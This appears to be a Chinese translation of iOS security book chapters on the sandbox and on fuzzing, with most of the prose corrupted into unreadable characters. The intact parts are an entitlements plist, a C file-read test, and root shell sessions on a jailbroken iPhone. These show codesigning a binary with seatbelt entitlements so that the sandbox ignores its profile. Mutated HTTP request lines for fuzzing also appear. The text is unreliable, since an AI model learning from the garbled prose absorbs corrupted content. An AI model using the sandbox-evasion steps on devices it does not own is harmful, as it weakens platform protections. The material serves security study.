<plist version="1.0"> 

<dict> 

       <key>com.apple.coreaudio.allow-amr-decode</key> 

       <true/> 

       <key>com.apple.coremedia.allow-protected-content-playback</key> 

       <true/> 

       <key>com.apple.managedconfiguration.profiled-access</key> 

       <true/> 

       <key>com.apple.springboard.opensensitiveurl</key> 

       <true/> 

       <key>dynamic-codesigning</key> 

       <true/> 
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       <key>keychain-access-groups</key> 

       <array> 

              <string>com.apple.cfnetwork</string> 

              <string>com.apple.identities</string> 

              <string>com.apple.mobilesafari</string> 

              <string>com.apple.certificates</string> 

       </array> 

       <key>platform-application</key> 

       <true/> 

       <key>seatbelt-profiles</key> 
       <array> 
               <string>MobileSafari</string> 
       </array> 
       <key>vm-pressure-level</key> 

       <true/> 

</dict> 

</plist> 

ᎩቢଡΘᄉᑭఴӉ˖Ὃgrab_entitlements.pyԺ̯̾̃ᤈ҃஠͇˖ଡԨѢЮݒఴ˹ᦠڙ

˿Ժ̾ᆷᝢЮನःၸࠑಉ੼seatbelt-profiles᪃Ὃܷ˖ా૾ࢥԻःၸᄉЮࣰڙǌ᤯᣾ా૾ࢥ

ʿஂ૆Վௐ΍ၸˏ˓੊ఝܲଠᤗ஠͇ὈǌᤇˀApp Storeःၸ΍ၸ˿ᄰ࠺෡ᄣଠᤗ஠͇὇ॆґ˓ג

Վᄉଠᤗ஠͇ѹݼӐѥஜǌੇ͂͗ុၸAppleMobileFileIntegrityੰࡘҪᣑЮࢥᄉଠᤗ஠͇

ՏሥǌឞՏሥ͗ၸ౎ѹݼӐ෡ᄣଠᤗ஠͇ὋࡂϷ˧ґၸ᣾ᄉ٧ࠓᥦಧǌ 

ӐФ෡ᄣᄉःၸǌੇݼᇧ߱͂ᄉၸ᤬ὋఴΒ͗ណᅋѸतʶ˓̾ՉሗԺᑞᄉழयѹࡘ˿˝ ͂͗

App StoreᄫेʽஉᎵʶ˓Ժ੯ᛠ஠͇ὋᤆڙᄉԺ੯ᛠ஠͇Ὃా૾ࢥtmpᄫेʽஉᎵʶ˓ʿࣛЮ/ڙ

థʶ˓Ժ੯ᛠ஠͇࠱Хథૈ߿˿౼˓ЮᎵଠᤗ஠͇ᄉЮా૾ࢥǌ 

˝˿ណᰍՉሗ᤬फ़Ὃੇ͂᜵Ѹतʶ˓฽ណၸᄉԺ੯ᛠ஠͇Ὃၸ߱࠼ណឳԨ/private/var/tmpᄫ

ेʽᄉ౼˓஠͇ǌᤇʶ᤬फ़ԩҁApp Store٧ࠓଠᤗ஠͇ᄉᬌ҃ǌຸ̼ᆉݟʽ੝ᇧὙ  

#include <stdio.h> 

#include <string.h> 

 

int main(int argc, char *argv[]) { 

        FILE *f = fopen("/private/var/tmp/can_you_see_me", "r"); 

        if (f != NULL) { 

                char buff[80]; 

                memset(buff, 0, 80); 

                fgets(buff, 80, f); 

                printf("%s", buff); 

                fclose(f); 

         } else { 

                 perror("fopen failed"); 

         } 

         return 0; 

} 

ኃʶ˓฽ណ௦ᰍ᝼෡ᄣ˧ܰᄉୱͺǌܷࠑԺ̯̾/tmp੯ᛠᤇʶ฽ណǌʽ᭦ᄉЮࡘࠓᇧ˿ᮔయ

ᄉᣤѢὙ�

iFauxn:~ root# /tmp/sb5 
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This is /tmp/can_you_see_me 

ʿѢ੝஧Ὃలԩ෡ᄣᬌ҃ᄉःၸԺ̾ឳԨឞ஠͇ǌ᜵฽ណ᤯᣾sbx_cred_label_update_ 

execveᄉኃ్̃᤬फ़ὋܷࠑԺ̾ઁ˧ґ੯ᛠ᣾ᄉ̃ᤈ҃஠͇҃ܬҁ /private/var/mobile/ 

Applications ʽ ᄉ ߔ ᄫ े ὇ ඊ ݟ /private/var/mobile/Applications/DDDDDDDD-DDDD-DDDD- 

DDDD-DDDDDDDDDDDD/Ὀ̟ ǌ᤯᣾ڙឞᄫेʽ੯ᛠᤇ˓฽ណ஠͇Ὃ෡ᄣЮನੰ͗ࡘᒬҮઁᤈ

ርᄉଠᤗ஠͇᝹Ꮅ˝٧ࠓᄉЮᎵଠᤗ஠͇ǌʽ᭦ᄉ̼ᆉࡘᇧ˿ᤇʶཁὋࣲ˄͗ѽၸdmesgᤈʶ൥

ᰍ᝼٧ࠓଠᤗ஠͇ǌ�

iFauxn:~ root# cp ~/ioshh/sb5 /private/var/mobile/Applications 

/DDDDDDDD-DDDD-DDDD-DDDD-DDDDDDDDDDDD/ 

iFauxn:~ root# /private/var/mobile/Applications/DDDDDDDD-DDDD-DDDD-DDDD-DDDDDDDDDDDD/ 

sb5 

fopen failed: Operation not permitted 

iFauxn:~ root# dmesg | tail 

... 

bash[15427] Builtin profile: container (sandbox) 

bash[15427] Container: /private/var/mobile/Applications/DDDDDDDD-DDDD-DDDD-DDDD- 

DDDDDDDDD[69] (sandbox) 

dmesgᄉᣤѢ˶᝼ࠃ˿෡ᄣੰࡘᄉ΍ၸ὇ڙၿApp Store᤾ᣣ΍ၸௐὋሥ˝ContainerὈǌణՐ

ੇ͂᜵࠼ណᄉ௦΍ၸ˿Юా૾ࢥᄉࣰԻःၸଠᤗ஠͇὇MobileSafariழกὈǌ˝˿ϡҁᤇ̎Ὃܷࠑ

ᭉ᜵̼ڙᆉኣՏ᫼ൿࢥЙ૾ా࡚বѴᛪὙ�

pitfall:sb5 dion$ cat sb5.entitlements 

<?xml version="1.0" encoding="UTF-8"?> 

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 

<plist version="1.0"> 

<dict> 

       <key>seatbelt-profiles</key> 

       <array> 

               <string>container</string> 

       </array> 

</dict> 

</plist> 

 

pitfall:sb5 dion$ make sb5-ee 

/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/gcc -arch armv6 

-isysroot 

/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.0.sdk sb5.c 

-o sb5-ee 

export 

CODESIGN_ALLOCATE= 

/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_ 

allocate 

codesign -fs "dion" --entitlements sb5.entitlements sb5-ee 

pitfall:sb5 dion$ 

̼ᆉኣՏࢹХ͗˝̃ᤈ҃஠͇ኣՏὋࣲ࠱ឞኣՏᎵ̅LC_CODE_SIGNATURE Mach-O load

xnu-1699.24.8/bsd/kern/ubc_subr.c˖ଠᤗᄉǌڙஜ૵ᄉಪय௦˖ڰǌLC_CODE_SIGNATURE˖̽֐
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ಉលǌឞ̃ᤈ҃஠͇ʶெ੯ᛠὋЮನࡘὋ᤯᣾෡ᄣЮನੰ˖ڰ˓ᤇڙЙᄉplistᜁஉࢥґ੝ᤗὋݟ

Ὀǌឞ஠͇ʿःឞ௦ԺឳᄉǌʿࡘӐҁcontainer˖὇ఴΒ˖ʿ͗᝹Ꮅੰݼःឞઁଠᤗ஠͇ѹࡂ

�Ὑ᠋ܾ͗ߔ੩᣾redsnOw 0.9.9b7ᛩʷᄉ΍ၸiOS 5.0ᄉiPhone 4ʼὋᤇ˓Βڙ࠵ᄉ௦Ὃᒯࢻ

iFauxn:~ root# cp ~/ioshh/sb5-ee /tmp 

iFauxn:~ root# /tmp/sb5-ee 

This is /tmp/can_you_see_me 

iFauxn:~ root# dmesg | grep Sandbox 

Sandbox: ignoring builtin profile for platform app: 

/private/var/stash/Applications.D1YevH/MobileMail.app/MobileMail 

Sandbox: ignoring builtin profile for platform app: 

/private/var/stash/Applications.D1YevH/MobileSafari.app/MobileSafari 

Sandbox: ignoring builtin profile for platform app: /private/var/tmp/sb5-ee 

iFauxn:~ root# 

ክᤇࡉ෡ᄣ˧ܰᄉᡔ࿜ྟఴ˖ǌڙᄹҁ੝థᄉࣰԻःၸᦏ௦ᤁᛠ͗ࠑdmesgᄉᣤѢ˖Ὃܷڙ

ಧὋੇ͂ࣂፂឬ௙˿ൣᆷᄉ᤬फ़Ὃ˶ࣂፂၸҁ˿Юా૾ࢥǌڙፘ፝᫝ឳ˧ґὋܷࠑԺ̾ଽຌഁॆ

ґᄉᡔ࿜ᛩʷ௦ঞಧᆠࣰڭԻःၸᄉ෡ᄣᄉǌܷࠑॡࠓ௛ڙЮನᎀߚ˖੼ҁþSandbox: ignoring 

builtin profile...ÿ὇෡ᄣὙ঒႔ЮᎵଠᤗ஠͇ĀĀὈߙቿ˘ὋᏪ߱͗ઁܷࣛࠑՓФ˖ʶ˓ᛩʷǌڎ

�ǌߔὈᄉಧڎὈ֖˧Ր὇Ծڎࢺःၸᡔ࿜ᛩʷ˧ґ὇ڙڰᇧ˿౼ʶ˓੩᣾ᛩʷᄉ۲ఴࡘ5-3

 

�3-5ڎ redsnOw 0.9.9b7 cred_label_update_execve 

ᤇʶࠪඊࡘဗ˿੩᣾ᛩʷᄉߙᓫúú01 23 01 23Ὃᤇ̎ߙᓫԺၸ౎ु҃ᤈᛠុណഴयᄉ

sysctl೜ಉὋࣲ ᆷγ్͇බᤉԪ੆˝ᥦ̎ʿڙApp Storeᄫेʽᄉःၸ঒႔෡ᄣଠᤗ஠͇ᄉৰхǌ

 ᤇዜऩ࣡ྩ᝭̅ॶǌ࠱ःឞࠑၸᡔ࿜᣾ᄉiPhoneᆐቂ໣วஈѣ੊థ஌ᣑᕲௐὋܷڙ
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5.4� ᇣ㒧 

iOS෡ᄣᄉ᝹᝟ѹᛱ௦᜵ᬌ̼҃ᆉ੯ᛠՐᄉ໣วஈѣὋࣲ಩૵ᤈርᤈᛠʶᓉୱͺ੝ᭉాᬌࠪ

ᤈርஶҪᬌ҃Ὃ̯Ꮺધৎ਒ᣃ͇̅App Store˧ܰǌApp Storeःၸᦏ௦ѽၸᤇʶྱবᤈᛠᬥሎᄉὋ

Ꮺ40ͷሗᮔᜈᄉࣰԻःၸ὇ΒݟMobileSafari֖MobileMailὈѶХథᒬ߿˦ᄉଠᤗ஠͇౎ᬌ҃Ժࠪ

߱͂ᤈᛠᄉୱͺǌ෡ᄣጆፑᄉ˞᜵ጷ͇௦᤯᣾МधTrustedBSDን႔ᄉЮನੰࠃࡘဗᄉǌЮನੰࡘ

ឥᝒᎃзᄉSchemeᑭఴ੝ଠᤗᄉ෡ᄣ˖ǌឞଠᤗ஠͇͗ᜁଡགྷ੆಩૵ୱ߿ᤈርᎵ̅ၿᮖ۪ྱ࠱͗

ͺᄉ࡚ব὇Βݟvnodeᄉᡸफ़੊ቪԯՁὈ᣾໙ୱͺὋ੊௦ڙЉ᝴੊ધፏᄉф߿˖ጻፆᄉфንಝǌ

ଠᤗ஠͇Ժᑞڙᤁᛠௐ̾ԩᬌᄉழय३ҁੰࡘǌ 

ᒯ൤Ὃܷࠑःឞᑞᎃз᧪ࠪmac_syscall("sandbox",...)ߔጆፑុၸᄉጆፑុၸfuzzer

ཁፋѢᄉǌࠪݼ᝟ᄉᡐࠅࢹ̠˝ଡΘᄉЙԯཁ௦ͺࡘХ˿ǌЮನ˝෡ᄣੰࢹ ਆፈ᣾෡ᄣᄉஈѣᏧ

౎ឬὋఴብᝦ᝶˿̃ᤈ҃ଠᤗ஠͇ᄉಪय֖᝿ͤὋ̾Ԣᩘං̃ᤈ҃ଠᤗ஠͇ᄉ̼ᆉǌԲܰὋੇ͂

ᤆᝦ᝶˿࠱ʹݟឞ᝿ͤѥஜͺ˝ԟཱཁઁЮನୱͺ௡࠰ҁSBPLୱͺǌᤇ௦ஈѣᏧਕТᡙᄉԲʶ

్ፈ᣾෡ᄣᄉ᤬फ़ǌ 
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ᇍiOSᑨ⫼䖯㸠῵㊞⌟䆩 

 
ࠪ᝹ܫᤈᛠᤉር໣วஈѣᄉኃʶ൥௦᜵੼ҁФ˖ᄉ߶К໣วǌൣڙ͂ੇݟኃ1ብ˖ᝦ᝶iOS

ԩஈѣ᭦ௐ੝ଡҁᄉὋஈѣᏧԺᑞథܲሗழय˝iOS᝹ܫΘःஜ૵ǌᤇ˖ᫍӉહ౼̎నҫ٧ቪᄉ

ਖ਼ቪ˶థឰࠆmDNSresponderǋ௃ጲ֖ᗯྤಖὋᏪ˄̯౼ሗርऎʼᝮᤆӉહᆀζǌᏪݟᐺὋඊގ

ܲᤇಧᄉርࣿὋӉહWebเ᜾٧ǋᥪ͇ࠆਖ਼ቪǋᮂᮟ/᜼ᮟ୦உ٧Ὃ̾ԢApp StoreःၸǌС᪃̅ڙ

ੇ͂᜵˝౼˓ርࣿ੼ʶ˓ྱ൳ᄉᣤЙὋཨՐၸឞᣤЙஇԪឞርࣿᄉᛠ˝ǌ 
ᤇಧʶ౎ࡂᭉ᜵ഴዹ฽ណ὇fuzzingὈѢᯰ˿ǌഴዹ฽ណ௦ૈ᤯᣾ԥܬՓय़฽ःၸԦᤞ႙्ᄉ

ஜ૵ὋࠪःၸᤈᛠҮখ฽ណᄉ᣾ርǌణ˝᧗᜵ᄉ௦Ὃഴዹ฽ណᝧ;Ժ̾ڙiOS˖Ԧဗ᝴ܲ໣วὋ

Ꮺథௐ;і˪ʿၸ᠟̣˥ҵὋథௐၴᒯʿॸࠪय़฽ᄉऄࡎርࣿథܲ࠵˿ᝌǌ૰ԱពឬὋᤇ௦˝iOS
੼bugᄉణኤழกǌ 

Ր᭦ᄉብᓫ˖Ὃܷڙ ѽၸᤇ̎໣วᤈᛠ໣วஈѣὋ̯ʹݟᝌҁ˿͗ࠑ Ꮺڙԩॕֽᄉ᝹ܫʼ੯

ᛠ౼̎లፂ૾ాᄉᛠҮǌ 

6.1� ῵㊞⌟䆩ⱘॳ⧚ 

ഴዹ฽ណὋ˶ሥҮখѫౡὋ௦ʶሗౝᤴ᭣กᣤЙࣲ࠱ФଡΘፋःၸὋ̾యᝧःၸ఑᭚Ѣ౼̎

߶К᫇ᮤᄉᓧశ֖መߥǌࣉ᭦ʼథॡܲ˃̭᫂ፀᤇʶ˞ᮤᄉڎ˹ὋӉહၿSuttonǋGreene֖Amini
੝ᗂᄉFuzzing: Brute Force Discovery὇978-0321446114ὈὋ̾ԢTakanenǋDeMott֖Miller੝ᗂᄉ

Fuzzing for Software Security Testing and Quality Assurance὇978-1596932142Ὀǌഴዹ฽ណ˶᝴௦ణ

ኤӬᄉbugಉ੼ழกǌ̠ ͂˧ґࣂፂၸ߱ڙՉሗՉಧᄉֵ̖˖੼ҁ˿௃ஜˀ߶КᄰСᄉbugὋᤇ̎

ֵ̖ӉહApache HTTP ServerǋMicrosoft RPCଋԯὋॆཨ˶ӉહiOSʼᄉMobileSafariǌ 
ഴዹ฽ណᄉ۲ఴူএࡂ௦᧗ܬՓጆፑԦᤞᣏऎ႙्ᄉᣤЙǌ᝹᝟֖ࠃဗ३ॡݝᄉःၸःឞᑞ

ଡΘፋ߱ᄉ͉ʹᣤЙὋࣲူܪ ःឞધፏ௃஌ᄉᣤЙὋፘ፝ኍय़Ր፝ஜ૵ǌॆ ߱ଋஅҁథ஌ᣤЙௐὋ

ःၸःឞ૊ཱ᝹᝟ᮔయ੯ᛠୱͺǌ௃᝶גሗৰхὋርࣿᦏʿःឞ࢜ຳ੊Ϣൢൣ࣡ࢹͺǌഴዹ฽ណ

௦᤯᣾ՓርࣿԦᤞஜ̾ᄇʹ᝟ᄉᣤЙὋಉᄹርࣿ௦ՠ͗࢜ຳ὇੊੯ᛠ౼̎Ф̴లፂ᝴Ժᄉᛠࡂ

˝ὈὋ̾൤౎฽ណርࣿ௦ՠ໗ᡛᤇʶ᜵යǌ฽ណ̠տڙഴዹ฽ណయᫍ͗ࠪःၸᤈᛠᄢଌὋᆷג߿

̎ᣤЙ͗ᝧःၸѢᩱǌ 

ኃ �ብ
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1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

ੇ͂ᑞܴѽၸഴዹ฽ណ੼ҁᄉbug᤯࣡ӉહᎀуӜຼѢᤇಧᄉЮߚ૮ۋڭ໣วǌΒݟὋርࣿ

տϛ߿౼ሗྱ൳ஜ૵὇ඊழឬႂពՁᆉὈʿ͗ᡓ᣾32ߙᓫὋࣲځ൤˝ឞஜ૵эߙ32˝࠴ܷ˿ܫᓫ

ᄉᎀуӜǌݟ౦धԦ̠տ෤థ௬यڠ೜ಉឞஜ૵὇੊௦ᬌ҃ᤈЙឞᎀуӜᄉҝఴᄉܷ࠴ὈὋࡂԺ

ᑞځ˝ᮔ᝹ᎀуӜ˧ܰᄉஜ૵૮ڭᏪ᥄ҁ᫇ᮤǌѢ̅ᤇሗԓځὋഴዹ฽ណ᤯࣡ᜁॆϡʶሗ᤯᣾ଡ

̓႙्ஜ૵ࠪधԦ̠տᄉϛ߿ᤈᛠ฽ណᄉ੾ࢻǌ 
௛ୃत۲ఴᄉഴዹ฽ណဖࣲܑၸ߱ࠓ௦ॡࡂὋᥦܪ˧ᄹҁഴዹ฽ណᄉʶ˓ʿї͗ࡂॡঋࠑܷ

੼ҁᄽൣᄉbugǌੇࣲ͂ʿᭉ᜵˿ᝌൗ฽ណᄉርࣿ὇੊ૅҁय़฽ርࣿᄉຸ̼ᆉὈὋ˶ʿᭉ᜵˿ᝌᤈ

ᛠഴዹ฽ណ੝ၸᄉᣤЙǌڙణኤӬᄉৰхʽὋੇ͂੝ᭉ᜵ᄉࡂԵథʶ˓ር֖ࣿ߱ᄉథ஌ᣤЙǌథ

˿ᤇ̎ὋвҪʼʶཁௐ֖ᫍCPUֆయὋੇ͂ࡂᑞᝧഴዹ฽ណᤁᛠᡐ౎˿ǌʿ᣾ܷࠑᬣՐ͗ᄹҁὋ

ᙉཨԺ̾ॡঋڠ᝹Ꮅഴዹ฽ណὋͭ௦᜵ࠪርࣿᤈᛠຆऎᄉഴዹ฽ណࣲ੼Ѣణ᧗ܷᄉbugὋᤆ௦᜵

ࠪᑞᤴ੆ॕֽᄉᣤЙ̾Ԣऄࡎርࣿᄉͺၸ఺҃థ੝˿ᝌǌពឬٿ౎Ὃᔰ౦ᤇಧᄉМՂ̾ԢФ̴ጷ

ጺ఺ౝᄉᆐቂ̠տᦏ͗ᤈᛠഴዹ฽ណὋ੝̾᜵੼ҁణ᧗ܷᄉbugὋథௐϊᭉ᜵ᤈᛠఝຆࡎ൒ᄉഴ

ዹ฽ណǌ 
ഴዹ฽ណ˶ࣲ᭣ࡉؒࡉᎾὋథ̎bug௦ഴዹ฽ណ෤กԦဗᄉǌඊழឬὋ౼˓ߙൿХథಢᰍ֖Ὃ

ॆᣤЙᜁνஇՐὋ͗ࡂᝧርࣿધፏឞᣤЙǌᣤЙ˖ᄉܲ˓ߙᓫԺᑞ௦ᄰ̈СᐎᄉὋᏪФ˖ʶ˓ᄉ

இԪ௦ॡࠓ௛ᜁ೜฽ѢᄉὋᤇ͗ࡂᝧርࣿॡঋધፏ௃஌ᣤЙǌՎಧὋݟ౦Եథڙ໗ᡛ᭣࣡ዴᆷᄉ

్͇ௐbug੥ॡ௙௬Ὃᥦ˥ഴዹ฽ណԺᑞ੼ʿѢᤇ˓bugὋᒯڙ࠵ՋူᄉௐᫍЮ௦੼ʿѢᄉǌ੝̾Ὃ

ʿ̨௦౼̎ዜۋᄉӨᝫ֖ᣤЙ᜵ඊФ̴ᄉఝᬱᤈᛠഴዹ฽ណὋᏪ˄ʿՎዜۋᄉःၸ˶͗ఝᬱᤈᛠ

ഴዹ฽ណǌݟ౦ርࣿԺ̾ᒬᛠူܪᩱឧὋᏪ˄߱௦᭣࣡ुϣᄉὋᥦ˥థௐ͗଎ᄥЮߚᆠڭǌݟ౦

ርࣿդథඊᣖԋࠎᄉԥុណ఺҃὇ඊݟDRMᣃ͇ὈὋੇ͂ࡂॡᬱࠪ߱͂ᤈᛠᄢ฽ǌൣځ˝ᤇಧὋ

ഴዹ฽ណࣲʿ঳௦໣วѫౡᄉʼʼ˧ᤤǌʿ᣾ܷࠑॡঋ͗ᄹҁὋܷ߱ࠪ̅ܲஜiOSःၸ౎ឬᦏ௦

ሗᄰॆథ஌ᄉಉbug੣ൿǌ 

6.2� བԩ䖯㸠῵㊞⌟䆩 

ࠪःၸᤈᛠഴዹ฽ណ๗Ԣᔩ࣯൥ᰠὋᯪЎࡂ௦᜵ଽຌഁਆࠪג˓ःၸᤈᛠഴዹ฽ណὋཨՐ௦

ၶ੆ၸ̅ഴዹ฽ណᄉᣤЙǌڙ൤˧ՐὋੇ͂ࡂᭉ᜵ਆҨกઁᤇ̎ᣤЙᤞᤈःၸǌణՐὋੇ͂ᤆᭉ

᜵థழกᄢଌय़฽ርࣿὋᄹᄹ௦ՠథᩱឧԦၶǌ 
௦ణ᧗᜵ᄉὋᙉཨᤇ˓൥ᰠᭉ᜵ʶཁཁᤁචǌۋ᜵฽ណᄉःၸ֖ஜ૵ዜ߿ஞ˓ึር˖Ὃ᧜ڙ

ኃ1ብ˖Ὃܷڙ Ԧᤞஜ૵ᄉܲሗழयǌܷܫᝌҁ˿ஈѣᏧՓiOS᝹˿ࠑ ᤤસ᜵ᤈᛠഴዹ฽ណᄉڙࠑ

ःၸௐὋ͗థॡܲሗᤤસǌࡂኪ௦ф߿˿᜵฽ណᄉःၸὋੇ͂ᤆᭉ᜵ф߿Хͳ᜵ၸ̣˥ዜۋᄉᣤ

Йᤈᛠ฽ណǌΒݟὋMobileSafariࡂᑞଋԩܲሗዜۋᄉᣤЙǌܷࠑԺᑞᤤસMobileSafari˖ᄉ.mov
஠͇Ὃ੊௦ఝᆷѬᄉЮࠓὋඊݟᤤસMobileSafari˖.mov஠͇ᄉ޴ͳܿԓߔ὇Media Header AtomὈ

౎ᤈᛠഴዹ฽ណǌᯪ᜵ԓѶࡂ௦Ὑᡔ௦դዹʿຌᄉःၸ֖ӨᝫὋࡂᡔ௦ழΦʽ੣ǌ൤ܰὋੇ͂ᔩ

ᅠэᥦ̎᫇ˆௐᫍඊᣖˣᤉᄉःၸ὇ඊݟQuickTimeὈ֖὇੊ὈѢ᣾߶К᫇ᮤᄉःၸ὇௦ᄉὋᤆ

௦QuickTimeὈ˶௦ॡథࣞүᄉǌ 
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6.2.1� ෎Ѣবᓖⱘ῵㊞⌟䆩 

ʶெᅻ᥊ᒬࣁ᜵̣ࠪ˥ःၸᤈᛠഴዹ฽ណὋ;ࡂᭉ᜵ᏥᘼഴዹᣤЙ὇੊Ꮷ฽ណၸΒὈ˿ǌᤇ

᧖Ὃ;˞᜵థˏሗழयԺ̾ᤤસǌʶሗԶͺ۲̅Ԫऩ੾శᄉ὇mutation-basedὈഴዹ฽ណὋ੊Ꮷឬ

þׁÿ὇dumbὈഴዹ฽ណǌᤇሗഴዹ฽ណԵᭉ᜵ᔈіѫ᧾ௐᫍ౎᝹Ꮅ֖ᤁᛠὋͭ᤯࣡੼ʿѢᘨ३

ॡຆᄉbugǌ߱ᄉԓူॡኤӬὙЎᤤʶሗథ஌ᄉᣤЙὋឞᣤЙԺᑞ௦.movኍ஠͇Ὃ˶Ժᑞ௦HTTP
͗ពᤇಧᄉᎩፎᣤЙὋၴᒯԺᑞ௦ʶጷ̽֐ᛠԟஜ὚ཨՐࠪᤇሗథ஌ᣤЙᤈᛠᬣ఺νஇǌΒݟὙ 

GET /index.html HTTP/1.0 

Ժᑞᜁዃஇ੆ݟʽኍߙቿ˘Ὑ�

GEEEEEEEEEEEEEET /index.html HTTP/1.0 
GET / / / / / / / / / / / / / / / //index.html HTTP/1.0 
GET /index................................html HTTP/1.0 
GET /index.htmllllllllllllllllllllllllllllllllllllllll HTTP/1.0 
GET /index.html HTTP/1.00000000000000000 

ԺᑞᝎԦ౼ሗᩱឧǌਆᤈᛠࡂὋᤇ̎ᣤЙ߿ͺѢ˿ʿൣᆷᄉϛ࠴ൿᄉܷߙ˓౼౦ርࣿտࠪݟ

ᤇሗᬣ఺இԪὋࣲܷࠑʿᭉ᜵ࠪHTTPӨᝫᄉࢹͺԓူథ͉ʹ˿ᝌǌʿ᣾ὋൣࠑܷݟԺᑞ͗ਆҁ

ᄉᥦಧὋࠪஜ૵੯ᛠ˿ϣКব೜ಉᄉWebనҫ٧͗᣽ᤳધፏᤇಧᄉᣤЙǌܷࠑॸᮋ᜵ࠪథ஌ᣤЙ

ᤈᛠνஇ̾੼ѢbugὋͭݟ౦ઁᣤЙஇ३ܹሎ៧Ὃ߱ॡঋ͗ࡂᜁધፏǌᤇࡂ᜵යੇ͂੼ҁࣰᛥཁὋ

ࠪ᧪˿ᇧࡘ௦ឬὋ௄ᭉ᜵ᤈᛠᡛܴᄉνஇ̾लԦ᫇ᮤὋԠʿᑞᝧஜ૵Ԫ३ܹ᣾ሎ៧ǌఴብࡂ˶

MobileSafariࡘधᄉ۲̅Ԫऩᄉഴዹ฽ណǌ�

6.2.2� ෎Ѣ⫳៤ⱘ῵㊞⌟䆩 

ॡܲᆐቂ̠տᄰζὋڙഴዹᣤЙ˖ᚷЙᡔܲࠪӨᝫᄉ˿ᝌὋࡂᡔథ఺͗੼ҁ໣วǌᤇࡂ᜵ଡ

ҁԲʶሗ᤬फ़˿ὙౝᤴഴዹᣤЙὋᤈᛠ۲̅ၶ੆ᄉഴዹ฽ណὋ੊Ꮷឬ௦þఄᑞÿഴዹ฽ណǌ۲̅

ၶ੆ᄉഴዹ฽ណࣲʿ௦̯౼˓ྱ߿ᄉథ஌ᣤЙधݼ὚ᄰԥὋ;᜵ЎफຌഁӨᝫ᜺ᔴଠᤗᤇіዜᣤ

Йᄉழयǌ੝̾Ὃࠪ ̅ґ᭦ᥦ˓ΒߔᏪᝒὋᤇ᧖ʿ௦ЎࠪWebనҫ٧ʼՏ˝index.htmlᄉ஠͇ԦѢ

ឯයὋᏪ௦Ў̯HTTPᄉRFC὇www.ietf.org/rfc/rfc2616.txtὈᅋ੣ǌឞ஠ುᄉኃ5ᓫࡂଠᤗ˿HTTP
๖োॸཨᄉಧߔὙ 

HTTP-message = Request | Response     ; HTTP/1.1 messages 

ឞ஠ುՐ᭦ᤆ᜺߿˿Requestॸᮋ᧓ၸᄉ्यὙ�

Request     =   Request-Line                ; Section 5.1 
                *(( general-header          ; Section 4.5 
                | request-header            ; Section 5.3 
                | entity-header ) CRLF)     ; Section 7.1 
               CRLF 
                [ message-body ]            ; Section 4.3 

ᤈʶ൥ຆ્Ὃ;͗ᄹҁࠪRequest-Lineᄉݟʽ᜺߿Ὑ�

Request-Line = Method SP Request-URI SP HTTP-Version CRLF 
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5 

11 
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MethodѶᜁݟ˦߿ʽὙ�

Method          = "OPTIONS"         ; Section 9.2 
                | "GET"             ; Section 9.3 
                | "HEAD"            ; Section 9.4 
                | "POST"            ; Section 9.5 
                | "PUT"             ; Section 9.6 
                | "DELETE"          ; Section 9.7 
                | "TRACE"           ; Section 9.8 
                | "CONNECT"         ; Section 9.9 
                | extension-method 
 extension-method = token 

ᤇ͗૆፝ᄰॆ᫁ʶൿὋʿ᣾ణጻRFC᜺߿˿HTTP๖োԺᑞХథᄉಪयǌܷࠑԺ̾ѽၸᤇʶ

ཁᎃзᤇಧᄉርࣿὙݟ౦ឞርࣿᑞူᝌᤇʶRFC᜺ᔴὋ߱ࡂᑞѸᤴѢ/valid/὇థ஌ὈԁԠ

/malformed/὇႙्ὈᄉHTTP๖োǌΒݟὋᤇ˓ርࣿԺ̾ၶ੆߸Кథ஌ᄉRequst-URIὋͭ͗

ᤤસʶ˓ྱѾ᫁ᄉழกՏǌ�

۲̅ၶ੆ᄉഴዹ฽ណ˶థᎤཁὙܹ᠟̂˿ὀܷࠑॸᮋူᝌᄰःᄉӨᝫ὇౼̎ӨᝫԺᑞ௦˃థ

ᄉὈὋᏪ˄ᭉ᜵ʶ˓ርࣿ౎ၶ੆႙्ԁԠ۲ఴՋ˪᜺ᔴᄉᣤЙǌੇ͂ᬣՐ͗ᄹҁݟʹѽၸഴዹ฽

ណಳ౵үҦᤇʶࢹͺǌॡ௬ཨὋᤇ᜵ඊ੼˓థ஌ᄉHTTP๖োࣲࠪФᤈᛠᬣ఺νஇ᳣ཐ३ܲǌʿ

᣾Ὃᤇሗþఄᑞÿഴዹ฽ណᄉ͕ཁՎಧ௙௬ǌᤇሗৰхʽὋݟ౦నҫူܪ٧HTTP TRACEឯයᄉ

ழयڙߚ໣วὋᥦ˥۲̅Ԫऩᄉഴዹ฽ណ௦෤กԦဗ᫇ᮤᄉὋځ˝߱ԵᤈᛠGETឯය὇੊ᬣ఺֐

ՏᄉឯයழกὈǌᏪ۲̅ၶ੆ᄉழก͗˝ඇሗԺᑞᄉழกౝᤴഴዹ᣾ᄉREQUEST-LINEὋ̯Ꮺପ

᭚ᤇሗူ᝶ʼᄉbugǌίពឬὋʶѫᏯᏲὋʶѫஅᖌὋᤇ᧖˶௦Վಧ᥊ူǌڙഴዹ฽ណʼᔈᄉዴ

ҦᡔܲὋ;ࡂᡔԺᑞ੼Ѣ᧗ܷᄉ໣วǌڙఴብᬣՐᄉЮࠓ˖Ὃܷ࠱ࠑᄹҁݟʹѽၸSulleyഴዹ฽

ណಳ౵Ѹत۲̅ၶ੆ᄉ฽ណၸΒǌ  

6.2.3� ᦤѸ੠ⲥ⌟⌟䆩⫼՟ 

ᒯ൤Ὃܷ ᤞЙር͂߱࠱ʹݟፂథ˿ʶܷ੺᜵Ԧᤞፋय़฽ណርࣿᄉᣤЙὋᏪ˄ॸᮋଽຌഁࣂࠑ

ࣿǌࠪ̅஠͇ᏪᝒὋᤇԺᑞ᜵යၸྱ൳ᄉ̽֐ᛠԟஜԥڠܬըҮርࣿǌࠪ̅Ꭹፎనҫ٧౎ឬὋܷ

ᤋଋనҫ٧ࣲԦᤞ౼ʶ฽ណၸΒǌᙉཨᤇ᤯࣡௦ഴዹ฽ណ᣾ር˖ణኤӬᄉܬԺᑞᭉ᜵ၸርࣿԥࠑ

